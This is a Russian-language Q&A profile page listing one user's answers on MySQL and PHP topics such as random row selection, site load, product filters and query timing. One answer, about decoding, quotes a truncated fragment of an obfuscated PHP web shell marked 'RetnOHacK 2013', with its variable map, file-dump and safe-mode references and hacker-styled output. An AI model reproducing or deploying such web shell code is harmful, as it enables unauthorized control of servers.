Ответы пользователя по тегу MySQL
  • Случайный ряд из таблицы MySql, сейчас пол секунды. А максимально быстро как?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    1. Определите кол-во записей в таблице. Не последний ID, а именно кол-во
    2. Определите рандомное значение между 0 и кол-вом-1 записей, это будет смещение
    3. Получите нужную запись с таблицы:
    select `id` from `localities` offset {$offset} limit 1


    Не сравнивал скорость, но должно быть в разы быстрее.
    Рандомное смещение можно получить как на стороне PHP, так и на стороне MySQL.
    А о RAND() вам уже написали.

    Детально:
    У вас N записей в таблице, вам нужно получить через mt_rand(), к примеру, случайное число от 0 до N-1. Это и будет ваше смещение.
    $count = 100;
    $offset = mt_rand( 0, $count-1 );
    Ответ написан
  • Как расшифровать?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    ${'GLOBALS'}['ytqsidbuwb']='us';
    ${'GLOBALS'}['fygfwfpp']='c';
    ${'GLOBALS'}['xssukethlx']='configuration';
    ${'GLOBALS'}['znlfcg']='consym';
    ${'GLOBALS'}['xrnrqneeqyfn']='dir';
    ${'GLOBALS'}['yyxpgtifb']='rt';
    ${'GLOBALS'}['safsnsptq']='g';
    ${'GLOBALS'}['otmvwuyr']='users';
    ${'GLOBALS'}['nfdniye']='link';
    ${'GLOBALS'}['lgcmkkj']='rr';
    ${'GLOBALS'}['uuoeldlhn']='r';
    ${'GLOBALS'}['rshfreslhmx']='safe_mode';
    ${'GLOBALS'}['mjjjsyc']='safe_mode';
    ${'GLOBALS'}['hrqpjl']='pass';
    ${'GLOBALS'}['mpkqzbudyse']='user';
    ${'GLOBALS'}['srpuccung']='a1';
    ${'GLOBALS'}['kpmbrod']='ok';
    ${'GLOBALS'}['rrkfvuyt']='id2';
    ${'GLOBALS'}['zmerlgzk']='a2';
    ${'GLOBALS'}['lsccxrnbhw']='username';
    ${'GLOBALS'}['oibbfucdc']='value';
    ${'GLOBALS'}['ucnibgygdq']='e';
    ${'GLOBALS'}['jnwtdjeb']='att';
    
    ${'GLOBALS'}['qowesdp']='sahacker';${'GLOBALS'}['tvoidst']='pathclass';${'GLOBALS'}['tpyetlr']='fp';${'GLOBALS'}['lvtfjiskw']='code';${'GLOBALS'}['skzmjpygbdb']='res';${'GLOBALS'}['pwdfvpnidd']='ar';${'GLOBALS'}['sqowcqx']='values';${'GLOBALS'}['wcgrkl']='keys';${'GLOBALS'}['ivkvtidnn']='num';${'GLOBALS'}['btygwlu']='querys';${'GLOBALS'}['yuirdcehrvu']='sql';${'GLOBALS'}['mnmzrtdls']='head';${'GLOBALS'}['kgjrjxqsb']='mime_type';${'GLOBALS'}['wqpwydtm']='content_encoding';${'GLOBALS'}['korhkhmegnt']='filedump';${'GLOBALS'}['swsrowm']='filename';${'GLOBALS'}['rtrnmswrgbt']='file';${'GLOBALS'}['xmchxwspr']='v';${'GLOBALS'}['oykssljtvlz']='k';${'GLOBALS'}['szfyjop']='i';${'GLOBALS'}['uoqgpnxobiqh']='table';${'GLOBALS'}['fbagxoimcf']='query';${'GLOBALS'}['juxsbp']='error';${'GLOBALS'}['sgykogglnrd']='str';${'GLOBALS'}['phymzistuuq']='checked';${'GLOBALS'}['hrswwrcprw']='ret';${'GLOBALS'}['wuystrt']='type';echo ' ';@set_time_limit(0);@error_reporting(0);echo' /* RetnOHacK 2013 */ body{color:#66FF00; font-size: 12px; font-family: serif; background-color: black; background-image: url(http://www.wallsave.com/wallpapers/1920x1080/alien-nature/601147/alien-nature-matrix-601147.jpg); background-repeat: no-
    Ответ написан
    1 комментарий
  • Из-за большого количество посетителей сайт поплыл, что делать?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Как исправить проблему, кроме как переделывать на Nodejs?

    Контролировать запросы к БД. Не создавать повторных идентичных запросов без нужды. Повторно использовать полученные данные. Использовать кэширование данных. Оптимизировать структуру БД, включая индексы.

    Есть ли решения кроме Nodejs?

    Проблема у вас не в PHP.

    Как сделать чтобы на сайт могли зайти неимоверное количество людей и чтобы сайт выдержал нагрузки

    Использовать рекомендации, которые я и другие вам написали.

    Правда жизни: Прочитал книгу "Как изучить PHP за 20 минут" - сделал сайт. Все классно, но если заходит больше 3х человек сайт перестает работать! PHP - га**о! Ухожу на NodeJS\Ruby\Python\*...
    Ответ написан
    2 комментария
  • Зачем нужны CMS если есть phpmyadmin?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    А ну-ка сделайте мне небольшой магазин, чтобы в нем были категории с вложенностью, товары с изображениями и характеристиками, чтобы изображения кропились и сохранялись для миниатюр разных размеров. Чтобы товары можно было связать с другими похожими. Еще нужна корзина, скидки и акции. А также не забудьте про СМС и емейл-уведомления. И самое главное - все это должно удобно и быстро управляться через PMA.
    Ответ написан
    2 комментария
  • Как использовать фильтры?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Если вам нужно гибкое универсальное решение, то это будет хоть и сложно, но возможно.

    Со стороны UI:
    - Создается категория
    - Для категории создаются разные типы фильтров
    - Добавляются товары в категорию
    - Все товары теперь имеют фильтры своей категории
    После чего в каждом товаре заполняются данные фильтров: размер, вес, цвет и т.д.

    Фильтры могут быть разных форматов: диапазон, значение, несколько значений и т.д. Так сразу все не вспомню. Можно сделать привязку фильтров как к категории, так и к товарам. Создали фильтр типа "значение", назвали его "color", привязали его к категории "обувь". После чего все товары в этой категории получили характеристику "color" которая индивидуально для каждого товара должна быть заполнена, и по которой будет идти фильтрация.

    В общем это сложное решение, возможно вам нужно что-то проще.
    Ответ написан
    Комментировать
  • Правильно ли это хранить целые огромные html коды в базе?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Это зависит от задачи. Если стоит задача:
    - Реализовать раздел сайта для хранения блоков отображения, которые администратор быстро сможет редактировать в визуальном редакторе, создавать и подключать в отображения через специальный компонент в системе. Плюс кэширование, языковые версии и т.д.

    В рамках этой задачи вполне нормально.
    Ответ написан
    2 комментария
  • Какое должно быть время выполнения MySQL запроса?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Поддерживаю предыдущего автора - explain. Не гадайте на кофейной гуще. Разберите запрос, определите что именно тупит.
    Ответ написан
    1 комментарий